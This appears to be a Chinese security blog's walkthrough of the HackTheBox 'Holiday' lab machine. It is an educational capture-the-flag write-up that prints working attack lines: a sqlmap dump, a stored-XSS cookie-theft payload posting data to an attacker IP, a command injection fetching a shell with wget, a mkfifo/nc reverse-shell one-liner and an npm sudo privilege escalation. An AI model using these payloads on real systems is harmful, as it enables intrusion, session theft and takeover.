一个每日分享渗透小技巧的公众号
大家好,这里是 大余安全 的第 104 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.hackthebox.eu/home/machines/profile/22
靶机难度:初级(5.0/10)
靶机发布日期:2017年10月21日
靶机描述:
Holiday is definitely one of the more challenging machines on HackTheBox. It touches on many different subjects and demonstrates the severity of stored XSS, which is leveraged to steal the session of an interactive user. The machine is very unique and provides an excellent learning experience.
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
可以看到靶机的IP是10.10.10.25....
Nmap发现开放了OpenSSH和Node.js服务.....访问看看
前端没发现什么有用的信息...爆破
发现了很多目录...
访问发现login存在用户登录页面...利用BP拦截准备sqlmap注入...
sqlmap -r dayusql --level 5 --risk 3 -T users --dump --threads 10
通过最简单最暴力的sqlmap爆破,发现了用户名和hash密码...
通过页面解析获得了密码...
登陆后重定向到了一个页面,该页面看起来包含有用的信息...点击UUID看看
进入表单UUID后,最下面提示了该注释必须批准所有注释,并且可能需要一分钟的时间,意味着某种用户交互,可能每分钟一次...
通过N种测试结果....
利用note函数,发现它是易受攻击的xss的,由于管理员正在阅读注释,因此XSS可用于获取管理cookie值...要运行xss并运行有效负载,需要使用JavaScript函数String.fromCharCode绕过过滤器以运行有效负载...开始...
payload = '''document.write('<script src="http://10.10.14.51/dayu.js"></script>');'''
','.join([str(ord(c)) for c in payload])
这里需要使用JavaScript函数String.fromCharCode绕过过滤器以运行有效负载,需要将字符串转换为ASCII代码..
这里利用了python转换...
<img src="x/><script>eval(String.fromCharCode(<payload>));</script>">
成功转换后利用google搜索到针对JavaScript的XSS的有效负载过滤器....
将转换的ASCII放入即可...
var url="http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65";
$.ajax({ method: "GET",url: url,success: function(data)
{ $.post("http://10.10.14.51:8000/", data);}});
首先通过最前面的测试,利用cookie简单编写了cookie的脚本...主要获取admin或者system等高权限用户的cookie...
然后通过JavaScript的XSS的有效负载过滤器成功获得了高权限的cookie....
直接替换cookie即可...这里可以利用F12调试或者BP拦截写入都可以...
替换刷新页面,出现了admin值...这是admin的cookie...
将url替换成admin后,成功的登陆到了admin管理页面...继续分析...
在下载notes后,分析存在注入,可利用notes读取到该用户底层的信息以及还具有写入功能...
通过BP测试,果然是可注入的...读取到了
这里测试了正常IP情况下,命令注入不生效...且报错...通过各种测试...
这里需要将IP为十进制!!!
将IP转换为十进制...
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.51 5555 >/tmp/f
table=notes/%26wget+0x0a0a0e33/shell
通过简单的shell编写即可...
然后利用转换的IP,通过wget上传shell...可看到成功上传!
继续利用bash执行shell,成功获得了反向shell...获得了user.txt的flag...
并sudo发现该用户利用npm无需密码即可以root用户身份运行...
方法1:
直接利用npm获取root.txt的flag....
mv package.json pack
ln -s /root/root.txt package.json
sudo /usr/bin/npm i *
直接利用sudo的提示,简单的执行写入即可读取到root.txt的flag信息...
方法2:
google搜索npm发现了提权root的github...GO
https://github.com/joaojeronimo/rimrafall
找到了一种使用称为rimrafall的包来获得反向外壳的方法....
按照作者的解释,理解原理~~~
只需要修改目录信息...利用bash直接提权目录文件为root权限...成功获得了root权限获得了root.txt的flag信息...
这篇文件较难,主要为XSS那块~~
学到了很多...中途测试了太多次...注入注入在注入...
加油!!!
由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
随缘收徒中~~随缘收徒中~~随缘收徒中~~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
本文始发于微信公众号(大余安全):HackTheBox-Linux-Holiday
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论